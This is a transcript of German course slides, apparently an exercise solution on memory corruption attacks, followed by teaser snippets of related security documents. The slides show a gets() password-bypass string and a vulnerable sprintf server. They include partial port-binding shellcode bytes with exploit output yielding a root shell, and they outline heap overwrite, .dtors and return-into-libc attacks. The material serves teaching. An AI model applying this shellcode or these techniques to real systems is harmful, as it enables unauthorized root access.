Buffer Overflow 1c) Angriffsstring: TTTTTTTTTTTTTTTT (16x) Beachte: Padding GCC-Compiler Zusatz: gcc O2 verhindert hier den Angriff (Code Optimierung)

Größe: px
Ab Seite anzeigen:

Download "Buffer Overflow 1c) Angriffsstring: TTTTTTTTTTTTTTTT (16x) Beachte: Padding GCC-Compiler Zusatz: gcc O2 verhindert hier den Angriff (Code Optimierung)"

Transkript

1 Buffer Overflow 1c) 1 char passok='f'; 2 char password[8]; 3 printf( Passwort: ); 4 gets(password); 5 if(!strcmp(password, daspassw )){passok = 'T';} 6 if(passok=='t'){printf( %s, Willkommen! );} 7 else {printf( %s, Falsches Passwort! );} Angriffsstring: TTTTTTTTTTTTTTTT (16x) Beachte: Padding GCC-Compiler Zusatz: gcc O2 verhindert hier den Angriff (Code Optimierung) 1

2 Stack Smashing 1d) Idee: EIP überschreiben und eigenen Shellcode ausführen 2

3 Stack Smashing 1e) Idee: EIP überschreiben und eigenen Shellcode ausführen Anforderungen an den Exploitstring: 1. String enthält ausführbaren Code 2. Am Ende des Strings steht Adresse mit der EIP überschrieben wird Adresse zeigt auf Code im String 3. Vor dem Code no-ops, da Bufferadresse nur ungefähr abschätzbar Sprung in no-op Bereich 4. Padding-Bytes 3

4 Anwendung: Serverdienst Servercode: Stack Smashing Beispiel // uebernimmt Kommunikation mit einem connected client 26 // erwartet einen String und schickt diesen mit einem 'Greetings' davor 27 // zurueck an den Client 28 void communicateserver( int icomsocket ){ 29 char outbuffer[1024]; // ausgehende Daten (dieser Buffer wird fuer den Exploit genutzt) 30 char inbuffer[2048]; // eingehende Daten // schicke ein Welcome an den gerade verbundenen Client 35 sprintf( outbuffer, "Welcome, awaiting input..." ); // kopiere den inbuffer (2048 bytes) in den outbuffer (1024 bytes) 48 // hier ist nun ein ueberschreiben des outbuffers moeglich und 49 // dies wird auch vom exploit ausgenutzt 50 sprintf( outbuffer, "Greetings %s\r\n", inbuffer ); 51 4

5 Normaler Anmeldeprozess: 1 $ > telnet Trying Connected to Escape character is '.]'. 5 Welcome, awaiting input...karl 6 Greetings Karl 7 Connection closed by foreign host. Stack Smashing Beispiel 5

6 Stack Smashing Beispiel Exploit-Programm, port-binding shellcode: 7 char PBShellCode[] = 8 "\x31\xdb" // xor ebx, ebx 9 "\xf7\xe3" // mul ebx 10 "\xb0\x66" // mov al, "\x89\xc7" // mov edi, eax 20 "\x52" // push edx 21 // Die letzen zwei bytes legen fest, 22 // auf welchem Port die Shell geöffnet wird. (Hier 30000) 23 "\x66\x68\x75\x30" // push word überschriebene Rücksprungadresse, mehrmals 63 "\x31\xdb\x89\xd8\x40\xcd\x80"; // exit /w return 0 6

7 Angriff und Serverausgabe: Stack Smashing Beispiel 1 $ >./exploit Guessed pointer: 0xbfffef (no-ops) db f7 e3 b e1 4b cd (Shellcode) 36 c e1 b0 ef f6 d e1 b cd 80 b cd e1 43 b0 66 cd d9 89 c3 38 b0 3f 49 cd e2 f e 2f f 2f e e1 b0 f4 f6 d0 cd db 89 d8 40 cd ef ff bf 98 ef ff bf 98 ef ff bf ef ff bf 98 0 (Rücksprungadresse und NullByte) 7

8 Stack Smashing Beispiel Exploit: 1 $ > telnet Trying Connected to Escape character is '.]'. 5 hostname; 6 target 7 : command not found 8 whoami; 9 root 10 : command not found 11 exit; 12 Connection closed by foreign host. 8

9 heap-based Exploit 3a) Programm: #include <stdio.h> void main( ) { static char ExBuff[8]; static char importantbyte; importantbyte = 23; printf("important: %x\n", importantbyte ); printf("please enter string: "); gets(exbuff); printf("important now: %x", importantbyte ); } 9

10 heap-based Exploit 3a) Angriff: #./HeapVarAttack important: 17 Please enter string: AAAAAAAAA important now: 41 10

11 heap-based Exploit 3a) Angriff: #./HeapVarAttack important: 17 Please enter string: AAAAAAAAA important now: 41 Zu 1c): Variablen in umgekehrter Reihenfolge anordnen 11

12 .dtors Attacke 3b).ctors: enthält zusätzliche Funktionsadressen, die vor dem Einstiegspunkt aufgerufen werden (Main-Funktion).dtors: enthält zusätzliche Funktionsadressen, die nach Beendigung der Main-Funktion aufgerufen werden Angriff: Eigene Funktionsadresse in.dtors unterbringen 12

13 .dtors Attacke 3b) Benötigte Daten: Abstand Buffer zu.dtors Shellcode Adresse des Buffers Tools für Datenbeschaffung: objdump gdb 13

14 Return into libc 3c) Kein Shellcode nötig Programm bietet Funktionen, die über Bibliotheken geladen werden shared library: libc 14

15 Return into libc 3c) Kein Shellcode nötig Programm bietet Funktionen, die über Bibliotheken geladen werden shared library: libc Anforderungen an einen Angriff: Adressen der Funktionen besorgen aus kompilierten Dateien (ldd, nm) z. B. system() benutzen, um beliebiges Programm zu starten 15

Einführung in die Programmiersprache C

Einführung in die Programmiersprache C Einführung in die Programmiersprache C 10 Sicheres Programmieren Alexander Sczyrba Robert Homann Georg Sauthoff Universität Bielefeld, Technische Fakultät Literatur Klein, Buffer Overflows und Format-String-Schwachstellen.

Mehr

Einführung in die Programmiersprache C

Einführung in die Programmiersprache C Einführung in die Programmiersprache C 10 Sicheres Programmieren Alexander Sczyrba Robert Homann Georg Sauthoff Universität Bielefeld, Technische Fakultät Literatur Klein, Buffer Overflows und Format-String-Schwachstellen.

Mehr

Systemsicherheit (SS 2015) 30. April 2015. Übungsblatt 2. Buffer-Overflow-Angriffe

Systemsicherheit (SS 2015) 30. April 2015. Übungsblatt 2. Buffer-Overflow-Angriffe Peter Amthor, Winfried E. Kühnhauser [email] Department of Computer Science and Automation Distributed Systems and Operating Systems Group Ilmenau University of Technology Systemsicherheit (SS 2015) 30.

Mehr

Übungen zur Vorlesung Systemsicherheit

Übungen zur Vorlesung Systemsicherheit Übungen zur Vorlesung Systemsicherheit Address Space Layout Randomization Tilo Müller, Reinhard Tartler, Michael Gernoth Lehrstuhl Informatik 1 + 4 19. Januar 2011 c (Lehrstuhl Informatik 1 + 4) Übungen

Mehr

Karlsruher Institut für Technologie

Karlsruher Institut für Technologie Karlsruher Institut für Technologie Lehrstuhl für Programmierparadigmen Sprachtechnologie und Compiler WS 2010/2011 Dozent: Prof. Dr.-Ing. G. Snelting Übungsleiter: Matthias Braun Lösung zu Übungsblatt

Mehr

DLLs (dynamic loaded libraries) mit MingW erstellen

DLLs (dynamic loaded libraries) mit MingW erstellen DLLs (dynamic loaded libraries) mit MingW erstellen Autor: Michel D. Schmid Datum: April 2, 2009 Contents 1 Einführung 1 1.1 Open-Source Tools.......................................... 1 2 Beispiel 1:

Mehr

GCC 3.x Stack Layout. Auswirkungen auf Stack-basierte Exploit-Techniken. Tobias Klein, 2003 tk@trapkit.de Version 1.0

GCC 3.x Stack Layout. Auswirkungen auf Stack-basierte Exploit-Techniken. Tobias Klein, 2003 tk@trapkit.de Version 1.0 1 GCC 3.x Stack Layout Auswirkungen auf Stack-basierte Exploit-Techniken Tobias Klein, 2003 tk@trapkit.de Version 1.0 2 Abstract Eine spezielle Eigenschaft des GNU C Compilers (GCC) der Version 3.x wirkt

Mehr

PS Kryptographie und IT-Sicherheit. Thema: Software-Sicherheit. Thomas Loch, Michael Streif 2012

PS Kryptographie und IT-Sicherheit. Thema: Software-Sicherheit. Thomas Loch, Michael Streif 2012 PS Kryptographie und IT-Sicherheit Thema: Software-Sicherheit Thomas Loch, Michael Streif 2012 Malicious / Invalid Input Exploits nutzen Nebeneffekte von ungültigen Benutzereingaben aus, die vom Programmierer

Mehr

Auswertung zum Praktikumsversuch Buffer Overflow Attacken

Auswertung zum Praktikumsversuch Buffer Overflow Attacken Buffer Overflow Attacken erstellt von: Martina Beck (Matr.Nr.: 108 003 214474) Christian Dobrick (Matr.Nr.: 108 003 211134) Sascha Ruthe (Matr.Nr.: 108 003 209845) Datum: 12.07.2005 Buffer Overflow Attacken

Mehr

File Transfer Protocol

File Transfer Protocol Ingo Blechschmidt LUGA 25. Januar 2006 Inhalt 1 Geschichte Aufbau 2 3 Benutzernamen/Passwörter Separater Datenkanal Lücken im FTP-Daemon Geschichte Geschichte Aufbau Erste Definition in

Mehr

E-Mail. Nachrichtenübertragung. Internetkommunikation Christof Fox. Wie werden Nachrichten Übertragen?

E-Mail. Nachrichtenübertragung. Internetkommunikation Christof Fox. Wie werden Nachrichten Übertragen? E-Mail Nachrichtenübertragung 1 Wie werden Nachrichten Übertragen? Über Protokolle: SMTP (Simple Mail Transfer Protocol) POP3 (Post Office Protocol Version 3) IMAP (Internet Message Access Protocol) 2

Mehr

Grundpraktikum Netz- und Datensicherheit. Thema: Buffer Overflow Angriffe, Teil 2

Grundpraktikum Netz- und Datensicherheit. Thema: Buffer Overflow Angriffe, Teil 2 Grundpraktikum Netz- und Datensicherheit Thema: Buffer Overflow Angriffe, Teil 2 Lehrstuhl für Netz- und Datensicherheit Ruhr-Universität Bochum Versuchdurchführung: Raum ID 2/168 Betreuung: Florian Feldmann

Mehr

Security-Webinar. Februar 2015. Dr. Christopher Kunz, filoo GmbH

Security-Webinar. Februar 2015. Dr. Christopher Kunz, filoo GmbH Security-Webinar Februar 2015 Dr. Christopher Kunz, filoo GmbH Ihr Referent _ Dr. Christopher Kunz _ CEO Hos4ng filoo GmbH / TK AG _ Promo4on IT Security _ X.509 / SSL _ Vorträge auf Konferenzen _ OSDC

Mehr

Hacking Linux Proseminar Network Hacking und Abwehr

Hacking Linux Proseminar Network Hacking und Abwehr Lehrstuhl Netzarchitekturen und Netzdienste Institut für Informatik Technische Universität München Hacking Linux Proseminar Network Hacking und Abwehr Vortragender: Marek Kubica Betreuer: Holger Kinkelin

Mehr

Lösung Übungszettel 6

Lösung Übungszettel 6 Lösungen zur Vorlesung GRUNDLAGEN DER INFORMATIK I Studiengang Elektrotechnik SS 03 AG Betriebssysteme FB3 Kirsten Berkenkötter Lösung Übungszettel 6 1 Aufgabe 1: Parallel-Server 1.1 Client #include

Mehr

Software Security. Andreas Kostecka Alexander Miller Patrick Rappensberger

Software Security. Andreas Kostecka Alexander Miller Patrick Rappensberger Software Security Andreas Kostecka Alexander Miller Patrick Rappensberger Inhalt Buffer Overrruns Integer Overflows Heap-Overflow Attack Format String Attack SQL Injection Buffer Overrruns Was ist 'Buffer

Mehr

Exploits & Rootkits. Betriebssystemdienste & -administration Seminar. Betriebssysteme und Middleware. Sebastian.Roschke@hpi.uni-potsdam.

Exploits & Rootkits. Betriebssystemdienste & -administration Seminar. Betriebssysteme und Middleware. Sebastian.Roschke@hpi.uni-potsdam. Exploits & Rootkits Betriebssystemdienste & -administration Seminar Betriebssysteme und Middleware Sebastian.Roschke@hpi.uni-potsdam.de Steffen.Ryll@hpi.uni-potsdam.de Steffen Ryll & Sebastian Roschke

Mehr

Matthias Hanreich - TheGreyKnight

Matthias Hanreich - TheGreyKnight Matthias Hanreich - TheGreyKnight Grundlagen Code Injection Beispiel: Buffer Overflow Gegenmaßnahmen Code Injection Return Oriented Programming (ROP) Gegenmaßnahmen ROP Demonstration CVE-2012-4969 Hands

Mehr

Hausarbeit. Thema: Computersicherheit. Friedrich-Schiller-Universität Jena Informatik B.Sc. Wintersemester 2009 / 2010

Hausarbeit. Thema: Computersicherheit. Friedrich-Schiller-Universität Jena Informatik B.Sc. Wintersemester 2009 / 2010 1 Friedrich-Schiller-Universität Jena Informatik B.Sc. Wintersemester 2009 / 2010 Hausarbeit Thema: Computersicherheit Seminar: Datenschutz und Datenpannen Verfasser: Dmitrij Miller Abgabetermin: 5.3.2010

Mehr

Beispiel 2a Die eigenen ersten Schritte mit dem Gnu-Debugger GDB für Remote-Debugging

Beispiel 2a Die eigenen ersten Schritte mit dem Gnu-Debugger GDB für Remote-Debugging Beispiel 2a Die eigenen ersten Schritte mit dem Gnu-Debugger GDB für Remote-Debugging Das Beispiel orientiert sich am selben Code, der im Teil 1 der Serie verwendet wurde. Text Styles: Shell Prompt mit

Mehr

Betriebssysteme KU - Einführungstutorium

Betriebssysteme KU - Einführungstutorium Betriebssysteme KU - Einführungstutorium SWEB-Tutoren irc://irc.at.euirc.net/bs Teamwork Arbeitsaufteilung? Zeiteinteilung? Codeeinteilung? Kommunikation! Kommunikation Kommunikation mit dem Team Gruppentreffen

Mehr

Hacking. InfoPoint 07.12.2005. Jörg Wüthrich

Hacking. InfoPoint 07.12.2005. Jörg Wüthrich Hacking InfoPoint 07.12.2005 Jörg Wüthrich Inhalte Rund um das Thema Hacking Angriffs-Techniken Session Handling Cross Site Scripting (XSS) SQL-Injection Buffer Overflow 07.12.2005 Infopoint - Hacking

Mehr

7.11.2006. int ConcatBuffers(char *buf1, char *buf2, size_t len1, size_t len2) {

7.11.2006. int ConcatBuffers(char *buf1, char *buf2, size_t len1, size_t len2) { Universität Mannheim Lehrstuhl für Praktische Informatik 1 Prof. Dr. Felix C. Freiling Dipl.-Inform. Martin Mink Dipl.-Inform. Thorsten Holz Vorlesung Angewandte IT-Sicherheit Herbstsemester 2006 Übung

Mehr

Rechnernetze. 6. Übung

Rechnernetze. 6. Übung Hochschule für Technik und Wirtschaft Studiengang Kommunikationsinformatik Prof. Dr. Ing. Damian Weber Rechnernetze 6. Übung Aufgabe 1 (TCP Client) Der ECHO Service eines Hosts wird für die Protokolle

Mehr

B1 Stapelspeicher (stack)

B1 Stapelspeicher (stack) B1 Stapelspeicher (stack) Arbeitsweise des LIFO-Stapelspeichers Im Kapitel "Unterprogramme" wurde schon erwähnt, dass Unterprogramme einen so genannten Stapelspeicher (Kellerspeicher, Stapel, stack) benötigen

Mehr

www.heimetli.ch Heimetli Software AG HSWModule ... Senden und Empfangen von SMS-Meldungen mit einem GSM-Modul Version 1.01 5.

www.heimetli.ch Heimetli Software AG HSWModule ... Senden und Empfangen von SMS-Meldungen mit einem GSM-Modul Version 1.01 5. www.heimetli.ch. Heimetli Software AG HSWModule........ Senden und Empfangen von SMS-Meldungen mit einem GSM-Modul Version 1.01 5. August 2005 Inhaltsverzeichnis Was ist HSWModule?... 1 Installation...

Mehr

Sicherheit in Software

Sicherheit in Software Sicherheit in Software Fabian Cordt und Friedrich Eder 3. Juni 2011 Allgemeines Begriffserklärung Woher Die 19 Todsünden 1 - Teil 2 - Teil 3 - Teil Was kann passieren Probleme beim Porgramm Durch Lücken

Mehr

vii Inhalt 0x100 Einführung 1 0x200 Programmierung 7

vii Inhalt 0x100 Einführung 1 0x200 Programmierung 7 vii 0x100 Einführung 1 0x200 Programmierung 7 0x210 Was ist Programmierung?..................................... 8 0x220 Pseudocode................................................ 9 0x230 Kontrollstrukturen.........................................

Mehr

Programmiersprachen Einführung in C

Programmiersprachen Einführung in C Programmiersprachen Einführung in C Buffer Overflow- und Formatstring-Angriffe Prof. Dr. Gliederung Programmiersprachen 1. Von der Maschinensprache zu C 2. Die Struktur von C-Programmen 3. Variable und

Mehr

Der C++ Crashkurs v1.0

Der C++ Crashkurs v1.0 Der C++ Crashkurs v1.0 Daniel Stöckel, M. Sc. October 14, 2013 1 Grundlegendes 1.1 Das erste Programm Wir beginnen mit einem einfachen Hello world Programm. Listing 1: hello world.cpp // Einbinden der

Mehr

12.5 Sicherer Programmcode

12.5 Sicherer Programmcode 12.5 Sicherer Programmcode Typische Beispiele für unsicheren Code: Pufferüberlauf ungeschützte kritische Abschnitte (im Englischen: software vulnerabilities) SS-12 1 12.5.1 Pufferüberlauf ausschließen!

Mehr

COMPILER & CODE ANALYSE. Eine Einführung in die Code Analyse auf Grundlage von Compilern und deren Optimierung. 1

COMPILER & CODE ANALYSE. Eine Einführung in die Code Analyse auf Grundlage von Compilern und deren Optimierung. 1 1 COMPILER & CODE ANALYSE Eine Einführung in die Code Analyse auf Grundlage von Compilern und deren Optimierung. 1 INHALT Einleitung Werkzeuge Compiler Aufbau Optimierung Beispiel Code Analyse Einführung

Mehr

Netzwerksicherheit. Teil 2: Buffer Overflows und andere Gemeinheiten. Martin Mauve, Björn Scheuermann und Philipp Hagemeister

Netzwerksicherheit. Teil 2: Buffer Overflows und andere Gemeinheiten. Martin Mauve, Björn Scheuermann und Philipp Hagemeister Netzwerksicherheit Teil 2: Buffer Overflows und andere Gemeinheiten Martin Mauve, Björn Scheuermann und Philipp Hagemeister Sommersemester 2015 Heinrich-Heine-Universität Düsseldorf Netzwerksicherheit

Mehr

Kommunikation in Netzwerken Teil 2

Kommunikation in Netzwerken Teil 2 Client-Server Teil 2-1/37 3.6.2006 Kommunikation in Netzwerken Teil 2 Barbara Leipholz-Schumacher Euregio-Kolleg, Würselen Konfiguration des SMTP-Servers postfix (Linux) main.cf Client-Server Teil 2-2/37

Mehr

Praktische Kryptoanalyse

Praktische Kryptoanalyse Seminar Praktische Kryptoanalyse Universität Karlsruhe (TH) Fakultät für Informatik Institut für Kryptographie und Sicherheit Europäisches Institut für Systemsicherheit J. Müller-Quade A. Sobreira de Almeida

Mehr

Embedded-Linux-Seminare. Linux als Betriebssystem

Embedded-Linux-Seminare. Linux als Betriebssystem Embedded-Linux-Seminare Linux als Betriebssystem http://www.embedded-linux-seminare.de Diplom-Physiker Peter Börner Spandauer Weg 4 37085 Göttingen Tel.: 0551-7703465 Mail: info@embedded-linux-seminare.de

Mehr

Technische Informatik 1 Übung 2 Assembler (Rechenübung) Georgia Giannopoulou (ggeorgia@tik.ee.ethz.ch) 22./23. Oktober 2015

Technische Informatik 1 Übung 2 Assembler (Rechenübung) Georgia Giannopoulou (ggeorgia@tik.ee.ethz.ch) 22./23. Oktober 2015 Technische Informatik 1 Übung 2 Assembler (Rechenübung) Georgia Giannopoulou (ggeorgia@tik.ee.ethz.ch) 22./23. Oktober 2015 Ziele der Übung Aufgabe 1 Aufbau und Aufruf von Funktionen in Assembler Codeanalyse

Mehr

Material zum Praktikumsversuch Buffer Overflows

Material zum Praktikumsversuch Buffer Overflows Material zum Praktikumsversuch Buffer Overflows Betreut von: Dipl. Ing. Sebastian Gajek und Tim Werthmann Stand: 22. April 2008 Lehrstuhl für Netz- und Datensicherheit Ruhr-Universität Bochum Inhaltsverzeichnis

Mehr

Hacking in C. Reinhard Oertel

Hacking in C. Reinhard Oertel Hacking in C Reinhard Oertel Inhaltsverzeichnis 1 Einleitung...3 2 Definition Hacker / Hacking...4 2.1 Gebräuchliche Definition...4 2.2 Definition...4 2.3 Einteilung...4 2.3.1 Die wahren Hacker...4 2.3.2

Mehr

Einführung in die Programmierung Konstanten, dynamische Datenstrukturen. Arvid Terzibaschian

Einführung in die Programmierung Konstanten, dynamische Datenstrukturen. Arvid Terzibaschian Einführung in die Programmierung Arvid Terzibaschian 1 Konstanten 2 Motivation Unveränderliche, wichtige Werte mathematische Konstanten z.b. PI String-Konstanten wie z.b. häufige statische Meldungen mögliche

Mehr

netcat Johannes Franken

netcat Johannes Franken <jfranken@jfranken.de> netcat Johannes Franken Auf dieser Seite zeige ich Anwendungsbeispiele für netcat, ein Kommandozeilentool zum Erstellen von Netzverbindungen über tcp oder udp. Inhalt 1. Verwendungszweck

Mehr

Kurzeinführung in C++

Kurzeinführung in C++ Kurzeinführung in C++ Johannes J. Schneider 27.10.2004 1 Einleitung C++ ist eine heutzutage in vielen Bereichen sehr häufig verwendete Programmiersprache, die auf der Programmiersprache C aufsetzt, aber

Mehr

German Metasploit Framework Tutorial 16. August 2005 dav

German Metasploit Framework Tutorial 16. August 2005 dav German Metasploit Framework Tutorial 16. August 2005 dav Inhalt 1. Einleitung 2. Exploit Datenbank 2.1. Neue Exploits integrieren 3. Payload Datenbank 4. Konfiguration und Anwendungen eines Exploits 4.1.

Mehr

Advanced Exploiting. tk, tk@trapkit.de IT-DEFENSE 2005

Advanced Exploiting. tk, tk@trapkit.de IT-DEFENSE 2005 Advanced Exploiting tk, tk@trapkit.de IT-DEFENSE 2005 Stand der Dinge Schutzmechanismen werden ausgereifter (Netz/Host) Trend zu mehr Komplexität ( ( CP AI/WI, Parser, ) Logische Konsequenzen für Angreifer:

Mehr

Smartphone Entwicklung mit Android und Java

Smartphone Entwicklung mit Android und Java Smartphone Entwicklung mit Android und Java predic8 GmbH Moltkestr. 40 53173 Bonn Tel: (0228)5552576-0 www.predic8.de info@predic8.de Was ist Android Offene Plattform für mobile Geräte Software Kompletter

Mehr

Exploits Wie kann das sein?

Exploits Wie kann das sein? Exploits Durch eine Schwachstelle im Programm xyz kann ein Angreifer Schadcode einschleusen. Manchmal reicht es schon irgendwo im Internet auf ein präpariertes Jpg-Bildchen zu klicken und schon holt man

Mehr

AKBP TM /ES c II Team 3 Power/Performance effects of server throttling

AKBP TM /ES c II Team 3 Power/Performance effects of server throttling AKBP TM /ES c II Team 3 Power/Performance effects of server throttling Simon Kellner Alexander von Gernler sisikell@cip.informatik.uni-erlangen.de sialgern@cip.informatik.uni-erlangen.de FAU Erlangen-Nürnberg

Mehr

ubasic Port für STM32F4 von Uwe Becker

ubasic Port für STM32F4 von Uwe Becker ubasic Port für STM32F4 von Uwe Becker Das original ubasic von Adam Dunkels findet sich unter : http://dunkels.com/adam/ubasic/ Die Minimal -Version vom ubasic-port für den STM32F4 beinhaltet folgendes

Mehr

Methoden. von Objekten definiert werden, Methoden,, Zugriffsmethoden und Read-Only

Methoden. von Objekten definiert werden, Methoden,, Zugriffsmethoden und Read-Only Methoden Wie Konstruktoren und Destruktoren zum Auf- und Abbau von Objekten definiert werden, Wie inline-methoden Methoden,, Zugriffsmethoden und Read-Only Only- Methoden einzusetzen sind, Der this-pointer

Mehr

Computergrafik 1 Übung, Wintersemester 2011. Eclipse Hands-On. C++ Projektsetup mit OpenGL und GLUT unter Eclipse für Windows 22.10.

Computergrafik 1 Übung, Wintersemester 2011. Eclipse Hands-On. C++ Projektsetup mit OpenGL und GLUT unter Eclipse für Windows 22.10. Computergrafik 1 Übung, Wintersemester 2011 Eclipse Hands-On C++ Projektsetup mit OpenGL und GLUT unter Eclipse für Windows 22.10.12 1 Eclipse - Die IDE 1. Entwicklungsumgebung (IDE) herunterladen / installieren

Mehr

Dies ist ein Auszug aus dem Buch Netzwerksicherheit Hacks, ISBN 978-3-89721-496-5. Melden Sie sich http://www.oreilly.de/catalog/netsechacks2ger/

Dies ist ein Auszug aus dem Buch Netzwerksicherheit Hacks, ISBN 978-3-89721-496-5. Melden Sie sich http://www.oreilly.de/catalog/netsechacks2ger/ Verwandeln Sie Ihre herkömmlichen Drahtlos-Router #76 HACK #76 Verwandeln Sie Ihre herkömmlichen Drahtlos-Router in eine ausgeklügelte Sicherheitsplattform Hack Rüsten Sie den Drahtlos-Router in Ihrem

Mehr

Compiler: Vom Code zum Maschinen-Code. C Programmierung - Vorlesung 2 Hochschule Regensburg 19.03.2012 Universitätsstraße 31, 93053 Regensburg

Compiler: Vom Code zum Maschinen-Code. C Programmierung - Vorlesung 2 Hochschule Regensburg 19.03.2012 Universitätsstraße 31, 93053 Regensburg Compiler: Vom Code zum Maschinen-Code C Programmierung - Vorlesung 2 Hochschule Regensburg 19.03.2012 Universitätsstraße 31, 93053 Regensburg Prof. Dr. Jan Dünnweber Zusammenhänge: C und Assembler Hochsprachen

Mehr

Hello world. Sebastian Dyroff. 21. September 2009

Hello world. Sebastian Dyroff. 21. September 2009 Hello world Sebastian Dyroff 21. September 2009 1 / 35 Inhaltsverzeichnis Organisatorisches Hello World Typen und Operatoren Programmfluss Weitere Konstrukte Nützliche Tipps 2 / 35 Inhalte dieser Veranstaltung

Mehr

Mac OS X Consoliero: Terminal Solutions Version 1.0

Mac OS X Consoliero: Terminal Solutions Version 1.0 Mac OSX Consoliero Terminal Solution Seite: 1/11 Mac OS X Consoliero Weiterführende Dokumentationen für Administratoren. Mac OS X Consoliero: Terminal Solutions Version 1.0 Christoph Müller, PTS Mac OSX

Mehr

Fakultät Angewandte Informatik Lehrprofessur für Informatik 23.01.2012

Fakultät Angewandte Informatik Lehrprofessur für Informatik 23.01.2012 WS 2011/2012 Fakultät Angewandte Informatik Lehrprofessur für Informatik 23.01.2012 Prof. Dr. Robert Lorenz Musterlösung zur Vorlesung Informatik I, Extrablatt zu komplexen Datenstrukturen Aufgabe 45 **

Mehr

Embedded-Linux-Seminare. Toolchains

Embedded-Linux-Seminare. Toolchains Embedded-Linux-Seminare Toolchains http://www.embedded-linux-seminare.de Diplom-Physiker Peter Börner Spandauer Weg 4 37085 Göttingen Tel.: 0551-7703465 Mail: info@embedded-linux-seminare.de Kopier-Rechte

Mehr

Übung zu Grundlagen der Betriebssysteme. Einführungsveranstaltung 16.10.2012

Übung zu Grundlagen der Betriebssysteme. Einführungsveranstaltung 16.10.2012 Übung zu Grundlagen der Betriebssysteme Einführungsveranstaltung 16.10.2012 Termine Übungen wöchentlich, Dienstags 14 Uhr (c.t.), Raum E312 15 Uhr (s.t.), Raum E312 Jede Woche 1 Übungsblatt http://userpages.uni-koblenz.de/~mips/bs/uebung/

Mehr

Übungspaket 19 Programmieren eigener Funktionen

Übungspaket 19 Programmieren eigener Funktionen Übungspaket 19 Programmieren eigener Funktionen Übungsziele: Skript: 1. Implementierung und Kodierung eigener Funktionen 2. Rekapitulation des Stack-Frames 3. Parameterübergabe mittels Stack und Stack-Frame

Mehr

Effizientes Memory Debugging in C/C++

Effizientes Memory Debugging in C/C++ Effizientes Memory Debugging in C/C++ Adam Szalkowski Embedded Computing Conference 2014 Ursachen/ Symptome Debugging Tools Ursachen / Symptome Was habe ich falsch gemacht? Was kann denn passieren im schlimmsten

Mehr

Java-Vorkurs 2015. Wintersemester 15/16

Java-Vorkurs 2015. Wintersemester 15/16 Java-Vorkurs 2015 Wintersemester 15/16 Herzlich Willkommen! package de.unistuttgart.47.01.javavorkurs; public class WelcomeErstis { public static void main(string[] args){ System.out.println( Herzlich

Mehr

Vom Patch zum Exploit - Fallbeispiel

Vom Patch zum Exploit - Fallbeispiel Vom Patch zum Exploit - Fallbeispiel Februar 2009 Autor: Renato Ettisberger SWITCH 2009 1. Einleitung Kurz nachdem eine Sicherheitslücke öffentlich bekannt wird, tauchen bereits die ersten Exploits dafür

Mehr

Software Engineering I

Software Engineering I Software I Übungsblatt 1 + 2 Claas Pinkernell Technische Universität Braunschweig http://www.sse.cs.tu-bs.de/ Seite 2 Welche Werkzeuge? Programmiersprache Java Integrierte Entwicklungsumgebung Eclipse

Mehr

Defekte in Software: Buffer-Overflows, Format-String-Fehler und Race-Conditions

Defekte in Software: Buffer-Overflows, Format-String-Fehler und Race-Conditions Defekte in Software: Buffer-Overflows, Format-String-Fehler und Race-Conditions Marcel Noe Zusammenfassung Die meisten erfolgreichen Angriffe auf Computersysteme basieren auf Fehler in der verwendeten

Mehr

Digitale Forensik. Teil 6: Ablauf von Angriffen. Schulung Bundespolizeiakademie März 2009

Digitale Forensik. Teil 6: Ablauf von Angriffen. Schulung Bundespolizeiakademie März 2009 Digitale Forensik Schulung Bundespolizeiakademie März 2009 Teil 6: Ablauf von Angriffen Dipl. Inform. Markus Engelberth Dipl. Inform. Christian Gorecki Universität Mannheim Lehrstuhl für Praktische Informatik

Mehr

POP3 und SMTP live und schwarzweiß

POP3 und SMTP live und schwarzweiß POP3 und SMTP live und schwarzweiß Informatik S2 In diesem Arbeitsauftrag empfangen und senden Sie E-Mails so, wie es auch ein E-Mail- Programm machen würde. Das heißt, Sie benutzen die Protokolle auf

Mehr

C++-Zusammenfassung. H. Schaudt. August 18, 2005

C++-Zusammenfassung. H. Schaudt. August 18, 2005 C++-Zusammenfassung H. Schaudt August 18, 2005 1 Datentypen 1.1 Grunddatentypen int (-32xxx bis +32xxx, implementerungs-abhängig) char -128 bis +128 float double bool (C++) int und char sind austauschbar:

Mehr

Angriffe auf Windowssysteme

Angriffe auf Windowssysteme Angriffe auf Windowssysteme von Markus Diett Ruhr-Universität Bochum Lehrstuhl Kommunikationssicherheit Seminar: IT-Sicherheit Wintersemester 2003/2004 Fachsemster: 5 Matrikel-Nr.: 108 001 21522 6 Betreut

Mehr

Betriebssystem Windows - SSH Secure Shell Client

Betriebssystem Windows - SSH Secure Shell Client Betriebssystem Windows - SSH Secure Shell Client Betriebssystem Windows - SSH Secure Shell Client... 1 Download... 2 Installation... 2 Funktionen... 3 Verbindung aufbauen... 3 Verbindung trennen... 4 Profile...

Mehr

Netzwerksicherheit ARP-Spoofing

Netzwerksicherheit ARP-Spoofing Netzwerksicherheit ARP-Spoofing Tobias Limmer, Martin Gründl, Thomas Schneider Computer Networks and Communication Systems Dept. of Computer Sciences, University of Erlangen-Nuremberg, Germany 18. 20.12.2007

Mehr

Gibt Daten im erweiterten Format aus. Dies beinhaltet die Angabe von Zugriffsrechten, Besitzer, Länge, Zeitpunkt der letzten Änderung und mehr.

Gibt Daten im erweiterten Format aus. Dies beinhaltet die Angabe von Zugriffsrechten, Besitzer, Länge, Zeitpunkt der letzten Änderung und mehr. ls [optionen] [namen]: ls zeigt den Inhalt von Verzeichnissen. Sind keine namen angegeben, werden die Dateien im aktuellen Verzeichnis aufgelistet. Sind eine oder mehrere namen angegeben, werden entweder

Mehr

Primitive Datentypen

Primitive Datentypen Primitive Datentypen 2 Arten von Datentypen: primitive Datentypen (heute) Objekte (später) Java ist streng typisiert, d.h. für jede Variable muß angegeben werden was für eine Art von Wert sie aufnimmt.

Mehr

Übung 9. Quellcode Strukturieren Rekursive Datenstrukturen Uebung 9

Übung 9. Quellcode Strukturieren Rekursive Datenstrukturen Uebung 9 Informatik I 2 Übung 9 Quellcode Strukturieren Rekursive Datenstrukturen Uebung 9 Quellcode Strukturieren Wenn alle Funktionen in einer Datei zusammengefasst sind wird es schnell unübersichtlich Mehrere

Mehr

Programmieren in C. Operatoren, Variablen und deren Sichtbarkeit. Prof. Dr. Nikolaus Wulff

